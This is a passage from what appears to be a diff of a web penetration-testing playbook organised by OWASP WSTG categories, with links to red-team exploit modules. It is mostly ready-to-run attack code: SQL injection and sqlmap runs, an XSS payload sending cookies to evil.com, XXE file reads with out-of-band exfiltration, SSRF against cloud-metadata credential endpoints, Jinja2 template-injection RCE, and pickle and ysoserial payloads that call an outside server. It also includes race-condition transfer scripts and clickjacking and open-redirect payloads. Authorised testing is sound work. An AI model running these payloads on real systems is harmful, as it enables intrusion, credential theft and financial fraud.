|
+
forged = jwt.encode(payload, r_pubkey, algorithm='HS256')
|
|
836
|
+
print(f'Forged token: {forged}')
|
|
837
|
+
EOF
|
|
838
|
+
```
|
|
839
|
+
|
|
840
|
+
---
|
|
841
|
+
|
|
842
|
+
## Category 7: Input Validation (WSTG-INPV)
|
|
843
|
+
|
|
844
|
+
> **Routes to**: `rt-exploit-sqli`, `rt-exploit-xss`, `rt-exploit-xxe`, `rt-exploit-ssrf`, `rt-exploit-ssti`
|
|
845
|
+
|
|
846
|
+
### BEGINNER Steps — SQL Injection
|
|
847
|
+
|
|
848
|
+
```bash
|
|
849
|
+
# WSTG-INPV-05: SQL Injection Detection
|
|
850
|
+
# Error-based detection
|
|
851
|
+
for payload in "'" '"' "1'" "1' OR '1'='1" "1 AND 1=1" "1 AND 1=2" "' OR 1=1--" "' OR 'x'='x"; do
|
|
852
|
+
echo "Testing: $payload"
|
|
853
|
+
curl -sk "$TARGET/search?q=$payload" | grep -i "sql\|syntax\|mysql\|oracle\|postgres\|error"
|
|
854
|
+
done
|
|
855
|
+
|
|
856
|
+
# Automated SQLi detection
|
|
857
|
+
sqlmap -u "$TARGET/search?q=1" --level=1 --risk=1 --batch \
|
|
858
|
+
-o --output-dir="$OUT_DIR/scans/sqlmap"
|
|
859
|
+
|
|
860
|
+
# Boolean-based blind
|
|
861
|
+
sqlmap -u "$TARGET/search?q=1" --technique=B --level=3 --batch \
|
|
862
|
+
--output-dir="$OUT_DIR/scans/sqlmap"
|
|
863
|
+
|
|
864
|
+
# POST body injection
|
|
865
|
+
sqlmap -u "$TARGET/login" --data="username=admin&password=test" \
|
|
866
|
+
-p username --dbms=mysql --batch \
|
|
867
|
+
--output-dir="$OUT_DIR/scans/sqlmap-post"
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
### BEGINNER Steps — XSS
|
|
871
|
+
|
|
872
|
+
```bash
|
|
873
|
+
# WSTG-INPV-01: Reflected XSS
|
|
874
|
+
for payload in \
|
|
875
|
+
'<script>alert(1)</script>' \
|
|
876
|
+
'"><script>alert(1)</script>' \
|
|
877
|
+
"'><img src=x onerror=alert(1)>" \
|
|
878
|
+
'<svg onload=alert(1)>' \
|
|
879
|
+
'javascript:alert(1)'; do
|
|
880
|
+
result=$(curl -sk "$TARGET/search?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")")
|
|
881
|
+
echo $result | grep -q "alert(1)" && echo "[POTENTIAL XSS] $payload"
|
|
882
|
+
done
|
|
883
|
+
|
|
884
|
+
# Stored XSS - check user profile fields
|
|
885
|
+
curl -sk -X POST "$TARGET/api/profile" \
|
|
886
|
+
-H "Authorization: Bearer $USER_TOKEN" \
|
|
887
|
+
-H "Content-Type: application/json" \
|
|
888
|
+
-d '{"name":"<script>document.location=`https://evil.com/?c=${document.cookie}`</script>"}'
|
|
889
|
+
```
|
|
890
|
+
|
|
891
|
+
### INTERMEDIATE Steps — XXE
|
|
892
|
+
|
|
893
|
+
```bash
|
|
894
|
+
# WSTG-INPV-07: XML External Entity Injection
|
|
895
|
+
# Basic XXE payload
|
|
896
|
+
cat > /tmp/xxe-basic.xml << 'EOF'
|
|
897
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
898
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
899
|
+
<userInfo>
|
|
900
|
+
<firstName>&xxe;</firstName>
|
|
901
|
+
<lastName>test</lastName>
|
|
902
|
+
</userInfo>
|
|
903
|
+
EOF
|
|
904
|
+
|
|
905
|
+
curl -sk -X POST "$TARGET/api/import" \
|
|
906
|
+
-H "Content-Type: application/xml" \
|
|
907
|
+
-d @/tmp/xxe-basic.xml
|
|
908
|
+
|
|
909
|
+
# OOB XXE (when no response reflection)
|
|
910
|
+
# Start: python3 -m http.server 8080 (on your server)
|
|
911
|
+
cat > /tmp/xxe-oob.xml << 'EOF'
|
|
912
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
913
|
+
<!DOCTYPE foo [
|
|
914
|
+
<!ENTITY % xxe SYSTEM "http://YOUR_BURP_COLLABORATOR/xxe.dtd">
|
|
915
|
+
%xxe;
|
|
916
|
+
]>
|
|
917
|
+
<root>&send;</root>
|
|
918
|
+
EOF
|
|
919
|
+
|
|
920
|
+
# External DTD file (host on your server):
|
|
921
|
+
cat > /tmp/xxe.dtd << 'EOF'
|
|
922
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
923
|
+
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://YOUR_SERVER/?data=%file;'>">
|
|
924
|
+
%wrap;
|
|
925
|
+
EOF
|
|
926
|
+
|
|
927
|
+
# SSRF via XXE
|
|
928
|
+
cat > /tmp/xxe-ssrf.xml << 'EOF'
|
|
929
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
930
|
+
<!DOCTYPE foo [<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
|
931
|
+
<data>&ssrf;</data>
|
|
932
|
+
EOF
|
|
933
|
+
|
|
934
|
+
curl -sk -X POST "$TARGET/api/process-xml" \
|
|
935
|
+
-H "Content-Type: application/xml" \
|
|
936
|
+
-d @/tmp/xxe-ssrf.xml
|
|
937
|
+
```
|
|
938
|
+
|
|
939
|
+
### INTERMEDIATE Steps — SSRF
|
|
940
|
+
|
|
941
|
+
```bash
|
|
942
|
+
# WSTG-INPV-19: Server-Side Request Forgery
|
|
943
|
+
SSRF_ENDPOINTS=(
|
|
944
|
+
"url" "link" "src" "source" "target" "redirect" "uri" "callback"
|
|
945
|
+
"fetch" "webhook" "import" "proxy" "path" "load" "reference"
|
|
946
|
+
)
|
|
947
|
+
|
|
948
|
+
for param in "${SSRF_ENDPOINTS[@]}"; do
|
|
949
|
+
# Cloud metadata
|
|
950
|
+
for meta in \
|
|
951
|
+
"http://169.254.169.254/latest/meta-data/" \
|
|
952
|
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
|
|
953
|
+
"http://metadata.google.internal/computeMetadata/v1/?recursive=true" \
|
|
954
|
+
"http://169.254.169.254/metadata/v1/token"; do
|
|
955
|
+
result=$(curl -sk "$TARGET/api/action?$param=$meta" --max-time 5)
|
|
956
|
+
[[ $result == *"ami-"* || $result == *"AccessKey"* ]] && echo "[SSRF] $param -> $meta"
|
|
957
|
+
done
|
|
958
|
+
done
|
|
959
|
+
|
|
960
|
+
# Internal service enumeration via SSRF
|
|
961
|
+
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
|
|
962
|
+
result=$(curl -sk "$TARGET/api/fetch?url=http://127.0.0.1:$port" --max-time 3 -w "%{http_code}")
|
|
963
|
+
echo "localhost:$port -> $result"
|
|
964
|
+
done
|
|
965
|
+
```
|
|
966
|
+
|
|
967
|
+
### ADVANCED Steps — SSTI
|
|
968
|
+
|
|
969
|
+
```bash
|
|
970
|
+
# WSTG-INPV: Server-Side Template Injection
|
|
971
|
+
# Detection payloads by engine:
|
|
972
|
+
# Jinja2/Python: {{7*7}} -> 49
|
|
973
|
+
# Twig/PHP: {{7*7}} -> 49
|
|
974
|
+
# Freemarker/Java: ${7*7} -> 49
|
|
975
|
+
# Velocity: #set($x=7*7)${x} -> 49
|
|
976
|
+
# Smarty: {$smarty.version} or {7*7}
|
|
977
|
+
|
|
978
|
+
for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>' '{{ "a".toUpperCase() }}'; do
|
|
979
|
+
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
980
|
+
result=$(curl -sk "$TARGET/search?q=$encoded")
|
|
981
|
+
echo $result | grep -q "49" && echo "[SSTI] $payload works"
|
|
982
|
+
done
|
|
983
|
+
|
|
984
|
+
# Jinja2 RCE
|
|
985
|
+
python3 - << 'EOF'
|
|
986
|
+
import requests
|
|
987
|
+
# Read /etc/passwd via Jinja2 SSTI
|
|
988
|
+
payloads = [
|
|
989
|
+
"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
|
|
990
|
+
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
|
|
991
|
+
"{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}",
|
|
992
|
+
]
|
|
993
|
+
for p in payloads:
|
|
994
|
+
r = requests.get('https://target.example.com/search', params={'q': p}, verify=False)
|
|
995
|
+
if 'uid=' in r.text:
|
|
996
|
+
print(f'[RCE via SSTI] Payload: {p}')
|
|
997
|
+
idx = r.text.find('uid=')
|
|
998
|
+
print(f'Output: {r.text[idx:idx+50]}')
|
|
999
|
+
break
|
|
1000
|
+
EOF
|
|
1001
|
+
```
|
|
1002
|
+
|
|
1003
|
+
### EXPERT Steps — Deserialization
|
|
1004
|
+
|
|
1005
|
+
```bash
|
|
1006
|
+
# WSTG-INPV: Insecure Deserialization
|
|
1007
|
+
# Java deserialization via ysoserial
|
|
1008
|
+
java -jar ysoserial.jar CommonsCollections6 'curl http://YOUR_SERVER/$(id)' | \
|
|
1009
|
+
base64 -w 0 > /tmp/deser_payload.b64
|
|
1010
|
+
|
|
1011
|
+
# Send to application
|
|
1012
|
+
curl -sk -X POST "$TARGET/api/deserialize" \
|
|
1013
|
+
-H "Content-Type: application/octet-stream" \
|
|
1014
|
+
--data-binary @<(base64 -d /tmp/deser_payload.b64)
|
|
1015
|
+
|
|
1016
|
+
# PHP deserialization - magic methods
|
|
1017
|
+
# If PHP object serialized: O:8:"UserData":1:{s:4:"name";s:5:"admin";}
|
|
1018
|
+
# Craft malicious object:
|
|
1019
|
+
python3 - << 'EOF'
|
|
1020
|
+
import pickle, os, base64
|
|
1021
|
+
|
|
1022
|
+
class Exploit(object):
|
|
1023
|
+
def __reduce__(self):
|
|
1024
|
+
cmd = 'curl http://YOUR_SERVER/$(id)'
|
|
1025
|
+
return (os.system, (cmd,))
|
|
1026
|
+
|
|
1027
|
+
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
|
|
1028
|
+
print(f'Python pickle payload: {payload}')
|
|
1029
|
+
EOF
|
|
1030
|
+
|
|
1031
|
+
# .NET viewstate deserialization
|
|
1032
|
+
# Use ysoserial.net
|
|
1033
|
+
# ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "curl http://YOUR_SERVER"
|
|
1034
|
+
```
|
|
1035
|
+
|
|
1036
|
+
---
|
|
1037
|
+
|
|
1038
|
+
## Category 8: Error Handling (WSTG-ERRH)
|
|
1039
|
+
|
|
1040
|
+
### BEGINNER Steps
|
|
1041
|
+
|
|
1042
|
+
```bash
|
|
1043
|
+
# WSTG-ERRH-01: Test for Improper Error Handling
|
|
1044
|
+
# Trigger various error conditions
|
|
1045
|
+
for method in GET POST PUT DELETE PATCH; do
|
|
1046
|
+
curl -sk -X "$method" "$TARGET/api/users/INVALID_ID_ABC" -I | head -3
|
|
1047
|
+
done
|
|
1048
|
+
|
|
1049
|
+
# Send malformed JSON
|
|
1050
|
+
curl -sk -X POST "$TARGET/api/login" \
|
|
1051
|
+
-H "Content-Type: application/json" \
|
|
1052
|
+
-d '{"user": "admin", "pass":' | python3 -m json.tool 2>/dev/null || true
|
|
1053
|
+
|
|
1054
|
+
# Send very large payload
|
|
1055
|
+
python3 -c "print('A'*100000)" | curl -sk -X POST "$TARGET/api/search" \
|
|
1056
|
+
-H "Content-Type: application/json" -d @-
|
|
1057
|
+
|
|
1058
|
+
# SQL syntax in all common params
|
|
1059
|
+
for param in id user q search name filter sort order; do
|
|
1060
|
+
result=$(curl -sk "$TARGET/?$param=1'")
|
|
1061
|
+
echo $result | grep -iE "sql|syntax|mysql|ora-|pg_|exception|traceback|stack trace" && \
|
|
1062
|
+
echo "[ERROR LEAK] param: $param"
|
|
1063
|
+
done
|
|
1064
|
+
|
|
1065
|
+
# Check for stack traces in error responses
|
|
1066
|
+
curl -sk "$TARGET/api/nonexistent" | grep -iE "at .+ \(.+\.java\)|File .+\.py|Traceback|NullPointerException"
|
|
1067
|
+
```
|
|
1068
|
+
|
|
1069
|
+
---
|
|
1070
|
+
|
|
1071
|
+
## Category 9: Cryptography (WSTG-CRYP)
|
|
1072
|
+
|
|
1073
|
+
### BEGINNER Steps
|
|
1074
|
+
|
|
1075
|
+
```bash
|
|
1076
|
+
# WSTG-CRYP-01: TLS/SSL Configuration
|
|
1077
|
+
# Using testssl.sh
|
|
1078
|
+
testssl.sh --severity HIGH --hints "$TARGET" | tee "$OUT_DIR/scans/testssl.txt"
|
|
1079
|
+
|
|
1080
|
+
# Quick SSL check with nmap
|
|
1081
|
+
nmap --script ssl-enum-ciphers -p 443 target.example.com -oN "$OUT_DIR/scans/ssl-nmap.txt"
|
|
1082
|
+
|
|
1083
|
+
# WSTG-CRYP-02: Padding Oracle
|
|
1084
|
+
# Check for CBC mode padding oracle
|
|
1085
|
+
python3 - << 'EOF'
|
|
1086
|
+
import requests
|
|
1087
|
+
# Try flipping bits in encrypted cookie value to check for padding oracle
|
|
1088
|
+
# Use padbuster or custom script
|
|
1089
|
+
# padbuster https://target.example.com/account ENCRYPTED_VALUE 8 -cookies "session=ENCRYPTED_VALUE"
|
|
1090
|
+
EOF
|
|
1091
|
+
|
|
1092
|
+
# Check for weak ciphers via curl
|
|
1093
|
+
curl -sk --ciphers 'NULL' "$TARGET" && echo "[VULN] NULL cipher accepted"
|
|
1094
|
+
curl -sk --ciphers 'RC4-SHA' "$TARGET" && echo "[VULN] RC4 accepted"
|
|
1095
|
+
|
|
1096
|
+
# HSTS check
|
|
1097
|
+
curl -sk -I "https://target.example.com" | grep -i strict-transport
|
|
1098
|
+
# Minimum: max-age=31536000
|
|
1099
|
+
# Good: max-age=31536000; includeSubDomains; preload
|
|
1100
|
+
```
|
|
1101
|
+
|
|
1102
|
+
### INTERMEDIATE Steps
|
|
1103
|
+
|
|
1104
|
+
```bash
|
|
1105
|
+
# Comprehensive TLS audit
|
|
1106
|
+
sslyze --regular target.example.com:443 | tee "$OUT_DIR/scans/sslyze.txt"
|
|
1107
|
+
|
|
1108
|
+
# Check for BEAST, POODLE, CRIME, BREACH, HEARTBLEED, ROBOT
|
|
1109
|
+
testssl.sh \
|
|
1110
|
+
--beast \
|
|
1111
|
+
--poodle \
|
|
1112
|
+
--crime \
|
|
1113
|
+
--breach \
|
|
1114
|
+
--heartbleed \
|
|
1115
|
+
--robot \
|
|
1116
|
+
target.example.com | tee "$OUT_DIR/scans/testssl-vulns.txt"
|
|
1117
|
+
|
|
1118
|
+
# Certificate transparency monitoring anomalies
|
|
1119
|
+
python3 - << 'EOF'
|
|
1120
|
+
import requests
|
|
1121
|
+
r = requests.get('https://crt.sh/?q=target.example.com&output=json')
|
|
1122
|
+
certs = r.json()
|
|
1123
|
+
for cert in certs[:20]:
|
|
1124
|
+
print(f"ID: {cert['id']}, CN: {cert['name_value']}, Issued: {cert['not_before'][:10]}")
|
|
1125
|
+
# Look for unexpected subdomains or recent suspicious issuances
|
|
1126
|
+
EOF
|
|
1127
|
+
```
|
|
1128
|
+
|
|
1129
|
+
---
|
|
1130
|
+
|
|
1131
|
+
## Category 10: Business Logic (WSTG-BUSL)
|
|
1132
|
+
|
|
1133
|
+
### BEGINNER Steps
|
|
1134
|
+
|
|
1135
|
+
```bash
|
|
1136
|
+
# WSTG-BUSL-01: Test Business Logic Data Validation
|
|
1137
|
+
# Negative values in quantity/price fields
|
|
1138
|
+
curl -sk -X POST "$TARGET/api/cart/add" \
|
|
1139
|
+
-H "Authorization: Bearer $USER_TOKEN" \
|
|
1140
|
+
-H "Content-Type: application/json" \
|
|
1141
|
+
-d '{"product_id": 123, "quantity": -1, "price": -99.99}'
|
|
1142
|
+
|
|
1143
|
+
# Zero values
|
|
1144
|
+
curl -sk -X POST "$TARGET/api/purchase" \
|
|
1145
|
+
-H "Authorization: Bearer $USER_TOKEN" \
|
|
1146
|
+
-H "Content-Type: application/json" \
|
|
1147
|
+
-d '{"amount": 0, "items": [{"id": 1, "qty": 1}]}'
|
|
1148
|
+
|
|
1149
|
+
# Integer overflow
|
|
1150
|
+
curl -sk -X POST "$TARGET/api/transfer" \
|
|
1151
|
+
-H "Authorization: Bearer $USER_TOKEN" \
|
|
1152
|
+
-H "Content-Type: application/json" \
|
|
1153
|
+
-d '{"amount": 9999999999999999}'
|
|
1154
|
+
```
|
|
1155
|
+
|
|
1156
|
+
### INTERMEDIATE Steps
|
|
1157
|
+
|
|
1158
|
+
```bash
|
|
1159
|
+
# WSTG-BUSL-04: Test for Process Timing
|
|
1160
|
+
# Race condition in limited-use coupon
|
|
1161
|
+
python3 - << 'EOF'
|
|
1162
|
+
import requests, threading
|
|
1163
|
+
session_token = 'YOUR_SESSION_TOKEN'
|
|
1164
|
+
target = 'https://target.example.com/api/apply-coupon'
|
|
1165
|
+
coupon = 'SINGLE-USE-COUPON'
|
|
1166
|
+
|
|
1167
|
+
results = []
|
|
1168
|
+
def apply_coupon():
|
|
1169
|
+
r = requests.post(target,
|
|
1170
|
+
json={'coupon': coupon},
|
|
1171
|
+
headers={'Authorization': f'Bearer {session_token}'},
|
|
1172
|
+
verify=False)
|
|
1173
|
+
results.append((r.status_code, r.text[:100]))
|
|
1174
|
+
|
|
1175
|
+
# Fire 20 concurrent requests
|
|
1176
|
+
threads = [threading.Thread(target=apply_coupon) for _ in range(20)]
|
|
1177
|
+
for t in threads:
|
|
1178
|
+
t.start()
|
|
1179
|
+
for t in threads:
|
|
1180
|
+
t.join()
|
|
1181
|
+
|
|
1182
|
+
success = sum(1 for code, _ in results if code == 200)
|
|
1183
|
+
print(f'Success count: {success} (should be 1 if protected)')
|
|
1184
|
+
EOF
|
|
1185
|
+
|
|
1186
|
+
# WSTG-BUSL-06: Test for Circumventing Work Flows
|
|
1187
|
+
# Skip payment step in checkout
|
|
1188
|
+
SESSION="YOUR_SESSION"
|
|
1189
|
+
# Step 1: Add to cart
|
|
1190
|
+
curl -sk -X POST "$TARGET/api/cart/add" -b "session=$SESSION" -d '{"item":1}'
|
|
1191
|
+
# Step 3: Skip step 2 (payment) and go directly to order confirmation
|
|
1192
|
+
curl -sk -X POST "$TARGET/api/orders/confirm" -b "session=$SESSION" -d '{"cart_id":"CART_ID"}'
|
|
1193
|
+
|
|
1194
|
+
# Price tampering via parameter manipulation
|
|
1195
|
+
curl -sk -X POST "$TARGET/api/checkout" \
|
|
1196
|
+
-b "session=$SESSION" \
|
|
1197
|
+
-d "item_id=EXPENSIVE_ITEM&price=0.01&quantity=1"
|
|
1198
|
+
```
|
|
1199
|
+
|
|
1200
|
+
### ADVANCED Steps
|
|
1201
|
+
|
|
1202
|
+
```bash
|
|
1203
|
+
# Time-of-check to time-of-use (TOCTOU) race condition
|
|
1204
|
+
python3 - << 'EOF'
|
|
1205
|
+
import requests, threading, time
|
|
1206
|
+
|
|
1207
|
+
target = 'https://target.example.com'
|
|
1208
|
+
token = 'YOUR_TOKEN'
|
|
1209
|
+
headers = {'Authorization': f'Bearer {token}'}
|
|
1210
|
+
|
|
1211
|
+
# Scenario: transfer $100 with $100 balance
|
|
1212
|
+
# Fire two transfers simultaneously
|
|
1213
|
+
def transfer(amount, to_account):
|
|
1214
|
+
return requests.post(f'{target}/api/transfer',
|
|
1215
|
+
json={'amount': amount, 'to': to_account},
|
|
1216
|
+
headers=headers, verify=False)
|
|
1217
|
+
|
|
1218
|
+
# Synchronize thread start using Event
|
|
1219
|
+
ready = threading.Event()
|
|
1220
|
+
results = []
|
|
1221
|
+
|
|
1222
|
+
def do_transfer():
|
|
1223
|
+
ready.wait()
|
|
1224
|
+
r = transfer(100, 'attacker_account')
|
|
1225
|
+
results.append((time.time(), r.status_code, r.json() if r.headers.get('content-type','').startswith('application/json') else r.text[:50]))
|
|
1226
|
+
|
|
1227
|
+
threads = [threading.Thread(target=do_transfer) for _ in range(10)]
|
|
1228
|
+
for t in threads:
|
|
1229
|
+
t.start()
|
|
1230
|
+
ready.set() # Start all simultaneously
|
|
1231
|
+
for t in threads:
|
|
1232
|
+
t.join()
|
|
1233
|
+
|
|
1234
|
+
for ts, code, data in results:
|
|
1235
|
+
print(f'{code}: {data}')
|
|
1236
|
+
EOF
|
|
1237
|
+
|
|
1238
|
+
# Loyalty points exploitation
|
|
1239
|
+
# Buy -> earn points -> refund -> points not reversed
|
|
1240
|
+
python3 - << 'EOF'
|
|
1241
|
+
import requests
|
|
1242
|
+
s = requests.Session()
|
|
1243
|
+
s.headers['Authorization'] = 'Bearer YOUR_TOKEN'
|
|
1244
|
+
base = 'https://target.example.com/api'
|
|
1245
|
+
|
|
1246
|
+
# Check initial points
|
|
1247
|
+
initial = s.get(f'{base}/loyalty/balance', verify=False).json()
|
|
1248
|
+
print(f'Initial balance: {initial}')
|
|
1249
|
+
|
|
1250
|
+
# Purchase (earns points)
|
|
1251
|
+
order = s.post(f'{base}/orders', json={'items':[{'id':1,'qty':10}]}, verify=False).json()
|
|
1252
|
+
order_id = order.get('id')
|
|
1253
|
+
print(f'Order: {order_id}, Points after: {s.get(f"{base}/loyalty/balance", verify=False).json()}')
|
|
1254
|
+
|
|
1255
|
+
# Refund (should remove points)
|
|
1256
|
+
refund = s.post(f'{base}/orders/{order_id}/refund', verify=False).json()
|
|
1257
|
+
print(f'Refund: {refund}')
|
|
1258
|
+
print(f'Points after refund: {s.get(f"{base}/loyalty/balance", verify=False).json()}')
|
|
1259
|
+
EOF
|
|
1260
|
+
```
|
|
1261
|
+
|
|
1262
|
+
---
|
|
1263
|
+
|
|
1264
|
+
## Category 11: Client-Side Testing (WSTG-CLNT)
|
|
1265
|
+
|
|
1266
|
+
> **Routes to**: `rt-exploit-xss` for deep XSS exploitation
|
|
1267
|
+
|
|
1268
|
+
### BEGINNER Steps
|
|
1269
|
+
|
|
1270
|
+
```bash
|
|
1271
|
+
# WSTG-CLNT-01: DOM-Based XSS
|
|
1272
|
+
# Check URL fragment handling
|
|
1273
|
+
# Test: https://target.example.com/#<img src=x onerror=alert(1)>
|
|
1274
|
+
# Test: https://target.example.com/?redirect=javascript:alert(1)
|
|
1275
|
+
|
|
1276
|
+
# Find DOM sinks in JS
|
|
1277
|
+
curl -sk "$TARGET" | grep -oP 'src="[^"]+\.js"' | while read js; do
|
|
1278
|
+
curl -sk "$TARGET/$js" | grep -E "document\.write|innerHTML|eval|setTimeout|location\.href|window\.location"
|
|
1279
|
+
done
|
|
1280
|
+
|
|
1281
|
+
# WSTG-CLNT-03: HTML Injection
|
|
1282
|
+
for payload in '<b>test</b>' '<h1>injected</h1>' '<img src=x>'; do
|
|
1283
|
+
result=$(curl -sk "$TARGET/search?q=$payload")
|
|
1284
|
+
echo $result | grep -q "$payload" && echo "[HTML INJECTION] $payload reflected unencoded"
|
|
1285
|
+
done
|
|
1286
|
+
|
|
1287
|
+
# WSTG-CLNT-05: CSS Injection
|
|
1288
|
+
for payload in '}*{background:red' 'body{background:url(//evil.com}' ':root{--x:1'; do
|
|
1289
|
+
curl -sk "$TARGET/search?theme=$payload" | grep -q "background:red\|evil.com" && echo "[CSS INJECTION]"
|
|
1290
|
+
done
|
|
1291
|
+
```
|
|
1292
|
+
|
|
1293
|
+
### INTERMEDIATE Steps
|
|
1294
|
+
|
|
1295
|
+
```bash
|
|
1296
|
+
# WSTG-CLNT-06: Client-Side Resource Manipulation
|
|
1297
|
+
# Check for open redirect
|
|
1298
|
+
for payload in \
|
|
1299
|
+
'https://evil.com' \
|
|
1300
|
+
'//evil.com' \
|
|
1301
|
+
'/\evil.com' \
|
|
1302
|
+
'https://target.example.com@evil.com' \
|
|
1303
|
+
'javascript:alert(1)'; do
|
|
1304
|
+
code=$(curl -sk -o /dev/null -w "%{redirect_url}" "$TARGET/redirect?url=$payload")
|
|
1305
|
+
echo "Payload: $payload -> Redirect: $code"
|
|
1306
|
+
done
|
|
1307
|
+
|
|
1308
|
+
# WSTG-CLNT-09: Clickjacking
|
|
1309
|
+
curl -sk -I "$TARGET" | grep -i "x-frame-options\|content-security-policy" | grep -i "frame"
|
|
1310
|
+
# Missing X-Frame-Options or CSP frame-ancestors -> vulnerable to clickjacking
|
|
1311
|
+
|
|
1312
|
+
# Generate clickjacking PoC
|
|
1313
|
+
cat > /tmp/clickjack-poc.html << 'EOF'
|
|
1314
|
+
<!DOCTYPE html>
|
|
1315
|
+
<html>
|
|
1316
|
+
<head><style>
|
|
1317
|
+
iframe { opacity: 0.5; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; }
|
|
1318
|
+
button { position: absolute; top: 200px; left: 300px; z-index: 1; }
|
|
1319
|
+
</style></head>
|
|
1320
|
+
<body>
|
|
1321
|
+
<button>WIN A PRIZE!</button>
|
|
1322
|
+
<iframe src="https://target.example.com/account/delete"></iframe>
|
|
1323
|
+
</body>
|
|
1324
|
+
</html>
|
|
1325
|
+
EOF
|
|
1326
|
+
|
|
1327
|
+
# WSTG-CLNT-10: WebSockets
|
|
1328
|
+
# Check WebSocket endpoints
|
|
1329
|
+
# In browser console:
|
|
1330
|
+
# var ws = new WebSocket('wss://target.example.com/ws');
|
|
1331
|
+
# ws.onmessage = function(e) { console.log(e.data); }
|
|
1332
|
+
# ws.send('{"action":"getUser","id":"1"}');
|
|
1333
|
+
|
|
1334
|
+
# WebSocket CSRF (no origin check)
|
|
1335
|
+
python3 - << 'EOF'
|
|
1336
|
+
import asyncio, websockets, json
|
|
1337
|
+
|
|
1338
|
+
async def test_ws():
|
|
1339
|
+
uri = "wss://target.example.com/ws"
|
|
1340
|
+
headers = {"Origin": "https://evil.com"}
|
|
1341
|
+
try:
|
|
1342
|
+
async with websockets.connect(uri, extra_headers=headers) as ws:
|
|
1343
|
+
print("Connected with evil origin!")
|
|
1344
|
+
await ws.send(json.dumps({"action": "getAdminData"}))
|
|
1345
|
+
resp = await ws.recv()
|
|
1346
|
+
print(f"Response: {resp}")
|
|
1347
|
+
except Exception as e:
|
|
1348
|
+
print(f"Failed: {e}")
|
|
1349
|
+
|
|
1350
|
+
asyncio.run(test_ws())
|
|
1351
|
+
EOF
|
|
1352
|
+
```
|
|
1353
|
+
|
|
1354
|
+
### ADVANCED Steps
|
|
1355
|
+
|
|
1356
|
+
```bash
|
|
1357
|
+
# Prototype Pollution
|
|
1358
|
+
python3 - << 'EOF'
|
|
1359
|
+
import requests
|
|
1360
|
+
# Test prototype pollution via query parameters
|
|
1361
|
+
payloads = [
|
|
1362
|
+
'?__proto__[admin]=true',
|
|
1363
|
+
'?constructor[prototype][admin]=true',
|
|
1364
|
+
'?__proto__.admin=true',
|
|
1365
|
+
]
|
|
1366
|
+
for p in payloads:
|
|
1367
|
+
r = requests.get(f'https://target.example.com/api/user{p}', verify=False)
|
|
1368
|
+
print(f'{p}: {r.status_code}')
|
|
1369
|
+
# Confirm: access /api/admin after pollution
|
|
1370
|
+
EOF
|
|
1371
|
+
|
|
1372
|
+
# PostMessage vulnerabilities
|
|
1373
|
+
# In browser console, listen for all postMessages:
|
|
1374
|
+
# window.addEventListener('message', function(e) { console.log(e.origin, e.data); });
|
|
1375
|
+
# Check if app uses postMessage without origin validation
|
|
1376
|
+
|
|
1377
|
+
# SubResource Integrity (SRI) bypass
|
|
1378
|
+
curl -sk "$TARGET" | grep -oP '<script[^>]+src="https://cdn[^"]*"[^>]*>' | grep -v integrity
|
|
1379
|
+
# Missing integrity= attribute -> CDN compromise attack surface
|
|
1380
|
+
```
|
|
1381
|
+
|
|
1382
|
+
---
|
|
1383
|
+
|
|
1384
|
+
## Category 12: API Testing (WSTG-APIT)
|
|
1385
|
+
|
|
1386
|
+
> **Routes to**: `rt-exploit-api` for deep API exploitation
|
|
1387
|
+
|
|
1388
|
+
### BEGINNER Steps
|
|
1389
|
+
|
|
1390
|
+
```bash
|
|
1391
|
+
# WSTG-APIT: REST API Discovery
|
|
1392
|
+
# Common API documentation endpoints
|
|
1393
|
+
for path in \
|
|
1394
|
+
/api/docs /api/swagger /api/swagger.json /api/swagger.yaml \
|
|
1395
|
+
/swagger-ui.html /openapi.json /openapi.yaml \
|
|
1396
|
+
/api/v1 /api/v2 /api-docs /graphql /graphiql; do
|
|
1397
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$path")
|
|
1398
|
+
[[ $code != "404" ]] && echo "[$code] $TARGET$path"
|
|
1399
|
+
done
|
|
1400
|
+
|
|
1401
|
+
# GraphQL introspection
|
|
1402
|
+
curl -sk -X POST "$TARGET/graphql" \
|
|
1403
|
+
-H "Content-Type: application/json" \
|
|
1404
|
+
-d '{"query":"{ __schema { types { name } } }"}' | python3 -m json.tool
|
|
1405
|
+
|
|
1406
|
+
# REST API verb tampering
|
|
1407
|
+
API_ENDPOINT="$TARGET/api/v1/users/123"
|
|
1408
|
+
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
|
|
1409
|
+
echo -n "$method: "
|
|
1410
|
+
curl -sk -X "$method" "$API_ENDPOINT" -H "Authorization: Bearer $TOKEN" -I | head -1
|
|
1411
|
+
done
|
|
1412
|
+
```
|
|
1413
|
+
|
|
1414
|
+
### INTERMEDIATE Steps
|
|
1415
|
+
|
|
1416
|
+
```bash
|
|
1417
|
+
# API versioning bypass
|
|
1418
|
+
# If v2 has fixed a vulnerability, try v1
|
|
1419
|
+
for version in v1 v2 v3 beta alpha; do
|
|
1420
|
+
echo -n "/api/$version/admin/users: "
|
|
1421
|
+
curl -sk -o /dev/null -w "%{http_code}" "$TARGET/api/$version/admin/users" \
|
|
1422
|
+
-H "Authorization: Bearer $LOW_PRIV_TOKEN"
|
|
1423
|
+
echo
|
|
1424
|
+
done
|
|
1425
|
+
|
|
1426
|
+
